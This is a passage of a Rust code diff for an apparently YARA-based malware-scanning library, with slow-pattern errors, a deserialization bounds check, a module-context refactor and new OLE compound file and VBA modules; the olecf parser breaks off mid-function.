CONST integer(4) + 132: EQ -- hash: 0x7b057a8f6f1c6ec1 + 130: CONST integer(4) + 131: CONST integer(4) + 135: CONTAINS -- hash: 0x660fc7ce052cb681 + 133: CONST string("foo") + 134: CONST string("f") + 138: ICONTAINS -- hash: 0x377f84bcc413903b + 136: CONST string("foo") + 137: CONST string("F") + 141: STARTS_WITH -- hash: 0xd2d5574eed1ea15b + 139: CONST string("foo") + 140: CONST string("f") + 144: ISTARTS_WITH -- hash: 0xa445143dac057b15 + 142: CONST string("foo") + 143: CONST string("F") + 147: ENDS_WITH -- hash: 0xaf9269de21654fff + 145: CONST string("foo") + 146: CONST string("o") + 150: IENDS_WITH -- hash: 0xf81ff13400fb2d99 + 148: CONST string("foo") + 149: CONST string("O") + 153: IEQUALS -- hash: 0x59f750b89300b823 + 151: CONST string("foo") + 152: CONST string("FOO") + 157: CONTAINS -- hash: 0x69900714c5de042c + 154: CONST string("foo") + 156: CONST string("foo") + 161: DEFINED -- hash: 0xc649804070cd56ad + 160: FIELD_ACCESS -- hash: 0x89fe7b03f298d17c + 158: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 159: SYMBOL Field { index: 36, is_root: false, type_value: integer(unknown), acl: None, deprecation_notice: Some(DeprecationNotice { text: "this field is deprecated", help: Some("use `pe.sections.len()` instead"), replacement: Some("sections.len()") }) } + 170: EQ -- hash: 0xc86bbac0d41a5b9c + 168: FIELD_ACCESS -- hash: 0x6af92ddf1af8a3f2 + 166: LOOKUP -- hash: 0xb7e6fdca077aa568 + 164: FIELD_ACCESS -- hash: 0xb93ff31706b0e381 + 162: SYMBOL Field { index: 0, is_root: true, type_value: struct, acl: None, deprecation_notice: None } + 163: SYMBOL Field { index: 49, is_root: false, type_value: array, acl: None, deprecation_notice: None } + 165: CONST integer(0) + 167: SYMBOL Field { index: 0, is_root: false, type_value: string(unknown), acl: None, deprecation_notice: None } + 169: CONST string(".text") + diff --git a/lib/src/compiler/mod.rs b/lib/src/compiler/mod.rs index d7b070dd..155490ca 100644 --- a/lib/src/compiler/mod.rs +++ b/lib/src/compiler/mod.rs @@ -1241,8 +1241,13 @@ impl Compiler<'_> { .retain(|pattern_id, _| *pattern_id < snapshot.next_pattern_id); } - /// Returns true if the bytes in the slice are all 0x00, 0x90, or 0xff. - fn common_byte_repetition(bytes: &[u8]) -> bool { + /// Returns true if the slice contains a single byte, or if the bytes in + /// the slice are all 0x00, 0x90, or 0xff. + fn is_slow_pattern_bytes(bytes: &[u8]) -> bool { + if bytes.len() == 1 { + return true; + } + let mut all_x00 = true; let mut all_x90 = true; let mut all_xff = true; @@ -1268,7 +1273,7 @@ impl Compiler<'_> { } } - true + !bytes.is_empty() } /// Reads the file specified by an `include` statement. @@ -1611,16 +1616,26 @@ impl Compiler<'_> { Pattern::Hex(re) => re.hir.as_literal_bytes(), }; if let Some(literal_bytes) = literal_bytes - && Self::common_byte_repetition(literal_bytes) + && Self::is_slow_pattern_bytes(literal_bytes) { - self.warnings.add(|| { - warnings::SlowPattern::build( + if self.error_on_slow_pattern { + self.restore_snapshot(snapshot); + return Err(errors::SlowPattern::build( &self.report_builder, self.report_builder .span_to_code_loc(pat.span().clone()), None, - ) - }); + )); + } else { + self.warnings.add(|| { + warnings::SlowPattern::build( + &self.report_builder, + self.report_builder + .span_to_code_loc(pat.span().clone()), + None, + ) + }); + } } } } @@ -1689,13 +1704,7 @@ impl Compiler<'_> { // Analyze the condition and determine if it imposes some constraint // to the file header (ex: `uint16(0) == 0x5a4d`). let header_constraints = self.ir.header_constraints(|pat_idx| { - let pat = &rule_patterns[pat_idx.as_usize()]; - match pat.pattern() { - Pattern::Text(lit) => Some(lit.text.as_bytes().to_vec()), - Pattern::Regexp(re) | Pattern::Hex(re) => { - re.hir.as_literal_bytes().map(|bytes| bytes.to_vec()) - } - } + rule_patterns[pat_idx.as_usize()].pattern() }); // Set the bounds to all patterns in the rule. This must be done @@ -1913,8 +1922,7 @@ impl Compiler<'_> { fn c_import(&mut self, import: &Import) -> Result<(), CompileError> { let module_name = import.module_name; - let module = crate::modules::registered_modules() - .find(|m| m.name() == module_name); + let module = crate::modules::module_by_name(module_name); // Does a module with the given name actually exist? ... if module.is_none() { @@ -2924,7 +2932,18 @@ impl From for usize { /// For each pattern there's one or more sub-patterns, depending on the pattern /// and its modifiers. For example the pattern `"foo" ascii wide` may have one /// subpattern for the ascii case and another one for the wide case. -#[derive(Copy, Clone, Debug, Eq, Hash, PartialEq, Serialize, Deserialize)] +#[derive( + Copy, + Clone, + Debug, + Eq, + Hash, + PartialEq, + PartialOrd, + Ord, + Serialize, + Deserialize, +)] #[serde(transparent)] pub(crate) struct SubPatternId(u32); diff --git a/lib/src/compiler/rules.rs b/lib/src/compiler/rules.rs index 16a6fafe..e8d186de 100644 --- a/lib/src/compiler/rules.rs +++ b/lib/src/compiler/rules.rs @@ -119,6 +119,17 @@ pub struct Rules { pub(in crate::compiler) filesize_bounds: FxHashMap, + /// Map that associates a `PatternId` to a certain constraint on the + /// file header (e.g. magic bytes at offset 0), if any. + /// + /// A condition like `uint16(0) == 0x5A4D and $a` or `$mz at 0 and $a` + /// (where $mz = "MZ") only matches if the file starts with "MZ" (0x5A4D). + /// In this case, the map will contain an entry associating `$a` to a + /// `HeaderConstraint` that requires the file to start with those two + /// bytes. + /// + /// This allows skipping pattern checks entirely if the scanned data + /// doesn't start with the expected header prefix. pub(in crate::compiler) header_constraints: FxHashMap, @@ -207,6 +218,14 @@ impl Rules { /// Deserializes the rules from a sequence of bytes produced by /// [`Rules::serialize`]. + /// + /// # Safety + /// + /// As long as you are deserializing rules from binary content produced + /// by [`Rules::serialize`] you are safe. But you should never attempt + /// to do so from binary content that was produced or could be manipulated + /// by a third party. This implies a security risk and your program may + /// panic during scanning. pub fn deserialize(bytes: B) -> Result where B: AsRef<[u8]>, @@ -273,6 +292,21 @@ impl Rules { rules.build_ac_automaton(); + // Make sure that the maximum SubPatternId is within the boundaries + // of sub_patterns array. This check is important because during + // the scanning phase we use SubPatternId as indexes in the array + // without boundary checks for better performance. + let max_sub_pattern_id = rules + .atoms + .iter() + .map(|atom| atom.sub_pattern_id) + .max() + .unwrap_or(SubPatternId(0)); + + if rules.sub_patterns.len() < max_sub_pattern_id.0 as usize { + return Err(SerializationError::InvalidFormat); + } + Ok(rules) } diff --git a/lib/src/compiler/tests/mod.rs b/lib/src/compiler/tests/mod.rs index 1342dce6..6e85924c 100644 --- a/lib/src/compiler/tests/mod.rs +++ b/lib/src/compiler/tests/mod.rs @@ -1436,3 +1436,24 @@ fn test_filesize_bounds() { FilesizeBounds::from((Bound::Excluded(1), Bound::Excluded(1000))) ); } + +#[test] +fn test_error_on_slow_pattern() { + let mut compiler = Compiler::new(); + compiler.error_on_slow_pattern(true); + + let err = compiler + .add_source( + r#" + rule test { + strings: + $a = "a" + condition: + $a + } + "#, + ) + .unwrap_err(); + + assert!(matches!(err, crate::errors::CompileError::SlowPattern(_))); +} diff --git a/lib/src/compiler/tests/testdata/warnings/48.in b/lib/src/compiler/tests/testdata/warnings/48.in new file mode 100644 index 00000000..9f33e31a --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/48.in @@ -0,0 +1,7 @@ +rule single_byte_pattern { + strings: + $a = "a" + $b = { 01 } + condition: + $a or $b +} diff --git a/lib/src/compiler/tests/testdata/warnings/48.out b/lib/src/compiler/tests/testdata/warnings/48.out new file mode 100644 index 00000000..ea8f8c6f --- /dev/null +++ b/lib/src/compiler/tests/testdata/warnings/48.out @@ -0,0 +1,10 @@ +warning[slow_pattern]: slow pattern + --> line:3:5 + | +3 | $a = "a" + | -------- this pattern may slow down the scan +warning[slow_pattern]: slow pattern + --> line:4:10 + | +4 | $b = { 01 } + | ------ this pattern may slow down the scan diff --git a/lib/src/models.rs b/lib/src/models.rs index 7bf583e8..b1440925 100644 --- a/lib/src/models.rs +++ b/lib/src/models.rs @@ -203,9 +203,7 @@ impl<'r> Iterator for Metadata<'_, 'r> { compiler::MetaValue::Float(f) => MetaValue::Float(*f), compiler::MetaValue::String(id) => { let s = self.rules.lit_pool().get(*id).unwrap(); - // We can be sure that s is a valid UTF-8 string, because - // the type of meta is MetaValue::String. - let s = unsafe { s.to_str_unchecked() }; + let s = s.to_str().unwrap(); MetaValue::String(s) } compiler::MetaValue::Bytes(id) => { diff --git a/lib/src/modules/add_modules.rs b/lib/src/modules/add_modules.rs new file mode 100644 index 00000000..292bf014 --- /dev/null +++ b/lib/src/modules/add_modules.rs @@ -0,0 +1,39 @@ +// File generated automatically by build.rs. Do not edit. +{ +#[cfg(feature = "console-module")] +add_module!(modules, "console", console, "console.Console", Some("console"), Some(console::__main__ as MainFn)); +#[cfg(feature = "cuckoo-module")] +add_module!(modules, "cuckoo", cuckoo, "cuckoo.Cuckoo", Some("cuckoo"), Some(cuckoo::__main__ as MainFn)); +#[cfg(feature = "dotnet-module")] +add_module!(modules, "dotnet", dotnet, "dotnet.Dotnet", Some("dotnet"), Some(dotnet::__main__ as MainFn)); +#[cfg(feature = "elf-module")] +add_module!(modules, "elf", elf, "elf.ELF", Some("elf"), Some(elf::__main__ as MainFn)); +#[cfg(feature = "hash-module")] +add_module!(modules, "hash", hash, "hash.Hash", Some("hash"), Some(hash::__main__ as MainFn)); +#[cfg(feature = "lnk-module")] +add_module!(modules, "lnk", lnk, "lnk.Lnk", Some("lnk"), Some(lnk::__main__ as MainFn)); +#[cfg(feature = "macho-module")] +add_module!(modules, "macho", macho, "macho.Macho", Some("macho"), Some(macho::__main__ as MainFn)); +#[cfg(feature = "magic-module")] +add_module!(modules, "magic", magic, "magic.Magic", Some("magic"), Some(magic::__main__ as MainFn)); +#[cfg(feature = "math-module")] +add_module!(modules, "math", math, "math.Math", Some("math"), Some(math::__main__ as MainFn)); +#[cfg(feature = "olecf-module")] +add_module!(modules, "olecf", olecf, "olecf.Olecf", Some("olecf"), Some(olecf::__main__ as MainFn)); +#[cfg(feature = "pe-module")] +add_module!(modules, "pe", pe, "pe.PE", Some("pe"), Some(pe::__main__ as MainFn)); +#[cfg(feature = "string-module")] +add_module!(modules, "string", string, "string.String", Some("string"), Some(string::__main__ as MainFn)); +#[cfg(feature = "test_proto2-module")] +add_module!(modules, "test_proto2", test_proto2, "test_proto2.TestProto2", Some("test_proto2"), Some(test_proto2::__main__ as MainFn)); +#[cfg(feature = "test_proto3-module")] +add_module!(modules, "test_proto3", test_proto3, "test_proto3.TestProto3", Some("test_proto3"), Some(test_proto3::__main__ as MainFn)); +#[cfg(feature = "text-module")] +add_module!(modules, "text", text, "text.Text", Some("text"), Some(text::__main__ as MainFn)); +#[cfg(feature = "time-module")] +add_module!(modules, "time", time, "time.Time", Some("time"), Some(time::__main__ as MainFn)); +#[cfg(feature = "vba-module")] +add_module!(modules, "vba", vba, "vba.Vba", Some("vba"), Some(vba::__main__ as MainFn)); +#[cfg(feature = "vt-module")] +add_module!(modules, "vt", titan, "vt.titan.LiveHuntData", Some("vt"), Some(vt::__main__ as MainFn)); +} \ No newline at end of file diff --git a/lib/src/modules/amo/mod.rs b/lib/src/modules/amo/mod.rs index c20c7bfa..1ae74ad5 100644 --- a/lib/src/modules/amo/mod.rs +++ b/lib/src/modules/amo/mod.rs @@ -24,8 +24,8 @@ struct ConfigJson { pub manifest: serde_json::Value, } -fn main(_data: &[u8], meta: Option<&[u8]>) -> Result { - let meta = match meta { +fn main(ctx: &mut ModuleContext, _data: &[u8]) -> Result { + let meta = match ctx.get_module_metadata("amo") { None | Some([]) => { set_local(ConfigJson::default()); return Ok(AMO::new()); diff --git a/lib/src/modules/console.rs b/lib/src/modules/console.rs index 8697a884..7e07399d 100644 --- a/lib/src/modules/console.rs +++ b/lib/src/modules/console.rs @@ -3,7 +3,7 @@ use std::borrow::Cow; use crate::mods::prelude::*; use crate::modules::protos::console::*; -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // Nothing to do, but we have to return our protobuf Ok(Console::new()) } @@ -213,6 +213,13 @@ mod tests { ] ); } + + #[test] + fn test_escape() { + assert_eq!(super::escape(b"hello"), "hello"); + assert_eq!(super::escape(b"hello\nworld"), "hello\\nworld"); + assert_eq!(super::escape(b"\xff\xfe"), "\\xff\\xfe"); + } } register_module!("console", Console, main); diff --git a/lib/src/modules/crx/mod.rs b/lib/src/modules/crx/mod.rs index 1d308b6c..56c67ede 100644 --- a/lib/src/modules/crx/mod.rs +++ b/lib/src/modules/crx/mod.rs @@ -18,7 +18,7 @@ thread_local!( const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { PERMHASH_CACHE.with(|cache| *cache.borrow_mut() = None); match parser::Crx::parse(data) { Ok(crx) => Ok(crx.into()), diff --git a/lib/src/modules/cuckoo/mod.rs b/lib/src/modules/cuckoo/mod.rs index 3b43139c..99176920 100644 --- a/lib/src/modules/cuckoo/mod.rs +++ b/lib/src/modules/cuckoo/mod.rs @@ -22,8 +22,11 @@ fn set_local(value: schema::CuckooJson) { }); } -fn main(_data: &[u8], meta: Option<&[u8]>) -> Result { - let meta = match meta { +fn main( + _ctx: &mut ModuleContext, + _data: &[u8], +) -> Result { + let meta = match _ctx.get_module_metadata("cuckoo") { None | Some([]) => { set_local(schema::CuckooJson::default()); return Ok(Cuckoo::new()); diff --git a/lib/src/modules/dex/mod.rs b/lib/src/modules/dex/mod.rs index afd72366..2876aadb 100644 --- a/lib/src/modules/dex/mod.rs +++ b/lib/src/modules/dex/mod.rs @@ -20,7 +20,7 @@ thread_local!( const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { CHECKSUM_CACHE.with(|cache| *cache.borrow_mut() = None); SIGNATURE_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/dotnet/mod.rs b/lib/src/modules/dotnet/mod.rs index 8581cc87..6366428f 100644 --- a/lib/src/modules/dotnet/mod.rs +++ b/lib/src/modules/dotnet/mod.rs @@ -7,7 +7,7 @@ use crate::modules::protos::dotnet::*; pub mod parser; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { match parser::Dotnet::parse(data) { Ok(dotnet) => Ok(dotnet.into()), Err(_) => { diff --git a/lib/src/modules/elf/mod.rs b/lib/src/modules/elf/mod.rs index 7319df84..24a001d8 100644 --- a/lib/src/modules/elf/mod.rs +++ b/lib/src/modules/elf/mod.rs @@ -26,7 +26,7 @@ thread_local!( static TLSH_CACHE: RefCell> = const { RefCell::new(None) }; ); -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { IMPORT_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); TLSH_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/field_docs.rs b/lib/src/modules/field_docs.rs index d29d6317..7edc6d01 100644 --- a/lib/src/modules/field_docs.rs +++ b/lib/src/modules/field_docs.rs @@ -343,6 +343,8 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("macho.Symtab", 4, "Size in bytes of the string table."), ("macho.Symtab", 5, "Individual entries stored in the table."), ("macho.Symtab", 6, "Descriptive nlist entries for symbols."), + ("olecf.Olecf", 1, "True if file is an OLE CF file."), + ("olecf.Olecf", 2, "Streams contained in the OLE CF file."), ("pe.Certificate", 1, "Issuer of this individual certificate."), ("pe.Certificate", 2, "Intended subject of this certificate."), ("pe.Certificate", 3, "Thumbprint identifying the certificate."), @@ -505,4 +507,6 @@ pub const FIELD_DOCS: &[(&str, u64, &str)] = &[ ("test_proto2.TestProto2", 500, "This field is accessible only if the features \"foo\" (or \"FOO\") and \"bar\" are enabled while compiling the YARA rules."), ("test_proto2.TestProto2", 502, "The metadata received by the module is copied into this field."), + ("vba.Vba", 1, "True if VBA macros are present"), + ("vba.Vba", 2, "VBA macro modules found"), ]; diff --git a/lib/src/modules/hash/mod.rs b/lib/src/modules/hash/mod.rs index edc65e3c..60a7f7bf 100644 --- a/lib/src/modules/hash/mod.rs +++ b/lib/src/modules/hash/mod.rs @@ -29,7 +29,7 @@ thread_local!( RefCell::new(FxHashMap::default()); ); -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // With every scanned file the cache must be cleared. SHA256_CACHE.with(|cache| cache.borrow_mut().clear()); SHA1_CACHE.with(|cache| cache.borrow_mut().clear()); diff --git a/lib/src/modules/lnk/mod.rs b/lib/src/modules/lnk/mod.rs index d7e2dcff..def2894a 100644 --- a/lib/src/modules/lnk/mod.rs +++ b/lib/src/modules/lnk/mod.rs @@ -15,7 +15,7 @@ use crate::mods::prelude::*; use crate::modules::protos::lnk::*; pub mod parser; -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { match parser::LnkParser::new().parse(data) { Ok(lnk) => Ok(lnk), Err(_) => { diff --git a/lib/src/modules/lnk/parser.rs b/lib/src/modules/lnk/parser.rs index 4fbeb03c..d468ff32 100644 --- a/lib/src/modules/lnk/parser.rs +++ b/lib/src/modules/lnk/parser.rs @@ -573,3 +573,21 @@ impl LnkParser { fn filetime_to_unix_timestamp(filetime: u64) -> Option { (filetime / 10000000).checked_sub(11644473600) } + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn test_filetime_to_unix_timestamp() { + assert_eq!(filetime_to_unix_timestamp(0), None); + assert_eq!(filetime_to_unix_timestamp(116444736000000000), Some(0)); + assert_eq!(filetime_to_unix_timestamp(116444736000000000 + 10000000), Some(1)); + } + + #[test] + fn test_lnk_parser_invalid() { + let mut parser = LnkParser::new(); + assert!(parser.parse(b"too short").is_err()); + } +} diff --git a/lib/src/modules/macho/mod.rs b/lib/src/modules/macho/mod.rs index a0ab4bd7..cd3b8c23 100644 --- a/lib/src/modules/macho/mod.rs +++ b/lib/src/modules/macho/mod.rs @@ -593,7 +593,7 @@ fn symhash(ctx: &mut ScanContext) -> Option>> { Some(Lowercase::>::new(digest)) } -fn main(data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { DYLIB_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); ENTITLEMENT_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); EXPORT_MD5_CACHE.with(|cache| *cache.borrow_mut() = None); diff --git a/lib/src/modules/magic/mod.rs b/lib/src/modules/magic/mod.rs index d67e60ae..80d5e647 100644 --- a/lib/src/modules/magic/mod.rs +++ b/lib/src/modules/magic/mod.rs @@ -27,7 +27,7 @@ thread_local! { static MIME_TYPE_CACHE: RefCell> = const { RefCell::new(None) }; } -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { // With every scanned file the cache must be cleared. TYPE_CACHE.set(None); MIME_TYPE_CACHE.set(None); diff --git a/lib/src/modules/math.rs b/lib/src/modules/math.rs index 61ef6231..51864a0d 100644 --- a/lib/src/modules/math.rs +++ b/lib/src/modules/math.rs @@ -19,7 +19,7 @@ thread_local!( > = RefCell::new(FxHashMap::default()); ); -fn main(_data: &[u8], _meta: Option<&[u8]>) -> Result { +fn main(_ctx: &mut ModuleContext, _data: &[u8]) -> Result { DISTRIBUTION_CACHE.with(|cache| cache.borrow_mut().clear()); // Nothing to do, but we have to return our protobuf diff --git a/lib/src/modules/mod.rs b/lib/src/modules/mod.rs index 0d7dab5b..c5038da1 100644 --- a/lib/src/modules/mod.rs +++ b/lib/src/modules/mod.rs @@ -1,6 +1,6 @@ use protobuf::MessageDyn; use protobuf::reflect::MessageDescriptor; - +use rustc_hash::FxHashMap; use thiserror::Error; pub mod protos { @@ -15,6 +15,7 @@ pub mod protos { mod tests; pub(crate) mod field_docs; +pub(crate) mod utils; include!("modules.rs"); @@ -36,6 +37,31 @@ pub enum ModuleError { }, } +/// Context passed to the main function of YARA modules. +#[derive(Default)] +pub struct ModuleContext<'a> { + module_metadata: FxHashMap<&'static str, &'a [u8]>, + #[cfg(any(feature = "zip-module", feature = "vba-module"))] + pub(crate) zip_cache: Option>, +} + +impl<'a> ModuleContext<'a> { + /// Set the metadata associated to the module with the given name. + pub fn set_module_metadata( + &mut self, + module_name: &'static str, + metadata: &'a [u8], + ) { + self.module_metadata.insert(module_name, metadata); + } + + /// Returns the metadata explicitly provided to the module with the given + /// name, if any. + pub fn get_module_metadata(&self, module_name: &str) -> Option<&[u8]> { + self.module_metadata.get(module_name).copied() + } +} + /// The trait implemented by all registered modules. pub trait RegisteredModule: Send + Sync { /// Name used for the module in `import` statements (e.g. `"my_module"`). @@ -47,10 +73,10 @@ pub trait RegisteredModule: Send + Sync { /// Main function called every time YARA scans some data, before /// evaluating the rules. Set to `None` for data-only modules. - fn main_fn( + fn main_fn<'a>( &self, - data: &[u8], - meta: Option<&[u8]>, + ctx: &mut ModuleContext<'a>, + data: &'a [u8], ) -> Option, ModuleError>>; /// Rust module path of the submodule inside the external crate that @@ -62,8 +88,8 @@ pub trait RegisteredModule: Send + Sync { fn rust_module_name(&self) -> Option<&'static str>; } -/// Main function in a YARA module. -pub type ModuleMainFn = fn(&[u8], Option<&[u8]>) -> Result; +pub type ModuleMainFn = + for<'a> fn(&mut ModuleContext<'a>, &'a [u8]) -> Result; /// Description of a YARA module, generic over the type `T` returned by the /// main function. @@ -93,13 +119,13 @@ where T::descriptor() } - fn main_fn( + fn main_fn<'a>( &self, - data: &[u8], - meta: Option<&[u8]>, + ctx: &mut ModuleContext<'a>, + data: &'a [u8], ) -> Option, ModuleError>> { self.main_fn.map(|f| { - f(data, meta).map(|ok| Box::new(ok) as Box) + f(ctx, data).map(|ok| Box::new(ok) as Box) }) } @@ -154,6 +180,14 @@ pub(crate) fn registered_modules() inventory::iter::<&'static dyn RegisteredModule>().copied() } +/// Returns a registered module given its name. +#[inline] +pub(crate) fn module_by_name( + name: &str, +) -> Option<&'static dyn RegisteredModule> { + registered_modules().find(|m| m.name() == name) +} + pub mod mods { /*! Utility functions and structures that allow invoking YARA modules directly. @@ -224,6 +258,24 @@ pub mod mods { /// Data structure returned by the `macho` module. pub use super::protos::macho::Macho; + /// Data structures defined by the `olecf` module. + /// + /// The main structure produced by the module is [`olecf:Olecf`]. The rest + /// of them are used by one or more fields in the main structure. + /// + pub use super::protos::olecf; + /// Data structure returned by the `olecf` module. + pub use super::protos::olecf::Olecf; + + /// Data structures defined by the `vba` module. + /// + /// The main structure produced by the module is [`vba::Vba`]. The rest + /// of them are used by one or more fields in the main structure. + /// + pub use super::protos::vba; + /// Data structure returned by the `macho` module. + pub use super::protos::vba::Vba; + /// Data structures defined by the `pe` module. /// /// The main structure produced by the module is [`pe::PE`]. The rest @@ -297,7 +349,13 @@ pub mod mods { let module = super::registered_modules() .find(|m| m.root_descriptor().full_name() == proto_name)?; - module.main_fn(data, meta)?.ok() + let mut ctx = super::ModuleContext::default(); + + if let Some(m) = meta { + ctx.module_metadata.insert(module.name(), m); + } + + module.main_fn(&mut ctx, data)?.ok() } /// Invokes all YARA modules and returns the data produced by them. @@ -317,6 +375,8 @@ pub mod mods { info.dotnet = protobuf::MessageField(invoke::(data)); info.macho = protobuf::MessageField(invoke::(data)); info.lnk = protobuf::MessageField(invoke::(data)); + info.olecf = protobuf::MessageField(invoke::(data)); + info.vba = protobuf::MessageField(invoke::(data)); info.crx = protobuf::MessageField(invoke::(data)); info.dex = protobuf::MessageField(invoke::(data)); info @@ -333,8 +393,7 @@ pub mod mods { /// Returns the definition of the module with the given name. pub fn module_definition(name: &str) -> Option { use std::rc::Rc; - super::registered_modules() - .find(|m| m.name() == name) + super::module_by_name(name) .map(|m| reflect::Struct::new(Rc::::from(m))) } @@ -343,6 +402,7 @@ pub mod mods { #[allow(missing_docs)] pub mod prelude { pub use crate::modules::Module; + pub use crate::modules::ModuleContext; pub use crate::modules::ModuleError; pub use crate::modules::RegisteredModule; pub use crate::register_module; @@ -550,6 +610,3 @@ pub mod mods { } } } - -#[cfg(feature = "crypto")] -pub(crate) mod utils; diff --git a/lib/src/modules/modules.rs b/lib/src/modules/modules.rs index 7fc4d27e..2136a8c0 100644 --- a/lib/src/modules/modules.rs +++ b/lib/src/modules/modules.rs @@ -23,6 +23,8 @@ mod macho; mod magic; #[cfg(feature = "math-module")] mod math; +#[cfg(feature = "olecf-module")] +mod olecf; #[cfg(feature = "pe-module")] mod pe; #[cfg(feature = "string-module")] @@ -33,5 +35,9 @@ mod test_proto2; mod test_proto3; #[cfg(feature = "time-module")] mod time; +#[cfg(feature = "vba-module")] +mod vba; #[cfg(feature = "vt-module")] -mod vt; \ No newline at end of file +mod vt; +#[cfg(feature = "zip-module")] +mod zip; \ No newline at end of file diff --git a/lib/src/modules/olecf/mod.rs b/lib/src/modules/olecf/mod.rs new file mode 100644 index 00000000..659ec289 --- /dev/null +++ b/lib/src/modules/olecf/mod.rs @@ -0,0 +1,48 @@ +/*! YARA module that parses OLE Compound File Binary Format files. + +The OLE CF format (also known as Compound File Binary Format or CFBF) is a +container format used by many Microsoft file formats including DOC, XLS, PPT, +and MSI. This module specializes in parsing OLE CF files and extracting +metadata about their structure and contents. + +Read more about the Compound File Binary File format here: +https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-cfb/53989ce4-7b05-4f8d-829b-d08d6148375b +*/ + +use crate::errors::ModuleError; +use crate::mods::prelude::*; +use crate::modules::protos::olecf::*; + +pub mod parser; + +fn main(_ctx: &mut ModuleContext, data: &[u8]) -> Result { + let mut olecf = Olecf::new(); + + match parser::OLECFParser::new(data) { + Ok(parser) => { + olecf.set_is_olecf(parser.is_valid_header()); + olecf.streams = parser + .get_streams() + .map(|(name, entry)| { + let mut s = Stream::new(); + s.set_name(name.to_string()); + s.set_size(entry.size); + s.set_type(match entry.stream_type { + 1 => StreamType::STORAGE, + 2 => StreamType::STREAM, + 5 => StreamType::ROOT, + _ => StreamType::UNKNOWN, + }); + s + }) + .collect(); + } + Err(_) => { + olecf.set_is_olecf(false); + } + } + + Ok(olecf) +} + +register_module!("olecf", Olecf, main); diff --git a/lib/src/modules/olecf/parser.rs b/lib/src/modules/olecf/parser.rs new file mode 100644 index 00000000..75f82567 --- /dev/null +++ b/lib/src/modules/olecf/parser.rs @@ -0,0 +1,582 @@ +use indexmap::IndexMap; +use nom::{ + IResult, Parser, + bytes::complete::take, + combinator::verify, + error::{Error as NomError, ErrorKind}, + multi::count, + number::complete::{le_u16, le_u32}, +}; + +const OLECF_SIGNATURE: &[u8] = + &[0xD0, 0xCF, 0x11, 0xE0, 0xA1, 0xB1, 0x1A, 0xE1]; +const SECTOR_SHIFT: u16 = 9; +const MINI_SECTOR_SHIFT: u16 = 6; +const DIRECTORY_ENTRY_SIZE: u64 = 128; +const MAX_STREAM_SIZE: u64 = 256 * 1024 * 1024; + +// Directory Entry Types +const STORAGE_TYPE: u8 = 1; +const STREAM_TYPE: u8 = 2; +const ROOT_STORAGE_TYPE: u8 = 5; + +// Special sectors +const ENDOFCHAIN: u32 = 0xFFFFFFFE; +const FREESECT: u32 = 0xFFFFFFFF; +const MAX_REGULAR_SECTOR: u32 = 0xFFFFFFFA; + +pub struct OLECFParser<'a> { + data: &'a [u8], + sector_size: usize, + mini_sector_size: usize, + fat_sectors: Vec, + directory_sectors: Vec, + mini_fat_sectors: Vec, + dir_entries: IndexMap, + mini_stream_start: u32, + mini_stream_size: u64, +} + +pub struct DirectoryEntry { + pub name: String, + pub size: u64, + pub start_sector: u32, + pub stream_type: u8, +} + +impl<'a> OLECFParser<'a> { + pub fn new(data: &'a [u8]) -> Result { + let mut parser = OLECFParser { + data, + sector_size: 1 << SECTOR_SHIFT, + mini_sector_size: 1 << MINI_SECTOR_SHIFT, + fat_sectors: Vec::new(), + directory_sectors: Vec::new(), + mini_fat_sectors: Vec::new(), + dir_entries: IndexMap::new(), + mini_stream_start: 0, + mini_stream_size: 0, + }; + + match parser.parse(data) { + Ok((_rest, ())) => Ok(parser), + Err(_) => Err("Failed to parse OLECF data"), + } + } + + fn parse(&mut self, input: &'a [u8]) -> IResult<&'a [u8], ()> { + // (A) Check the 8-byte OLECF signature. + let (input, _) = + verify(take(8_usize), |sig: &[u8]| sig == OLECF_SIGNATURE) + .parse(input)?; + + // (B) Parse the rest of the header fields. + let (input, ()) = self.parse_header(input)?; + + // (C) Parse the directory chain. + let (input, ()) = self.parse_directory(input)?; + + Ok((input, ())) + } + + fn parse_header(&mut self, input: &'a [u8]) -> IResult<&'a [u8], ()> { + let ( + mut input, + ( + _skip_20, + byte_order, + _skip_14, + num_fat_sectors, + first_dir_sector, + _skip_8, + first_mini_fat, + mini_fat_count, + first_difat_sector, + difat_count, + ), + ) = ( + take(20usize), // skip 20 bytes + le_u16, // parse byte_order + take(14usize), // skip 14 bytes + le_u32, // parse num_fat_sectors + le_u32, // parse first_dir_sector + take(8usize), // skip 8 bytes + le_u32, // parse first_mini_fat + le_u32, // parse mini_fat_count + le_u32, // parse first_difat_sector + le_u32, // parse difat_count + ) + .parse(input)?; + + // (A) Verify `byte_order == 0xFFFE`. + if byte_order != 0xFFFE { + return Err(nom::Err::Error(NomError::new( + input, + ErrorKind::Verify, + ))); + } + + // (B) Parse up to 109 DIFAT entries from `input` + // 109 is the max allowed number of DIFAT entries in the header. + let rest = input; + if rest.len() < 109 * 4 { + let possible = rest.len() / 4; + let (rest2, entries) 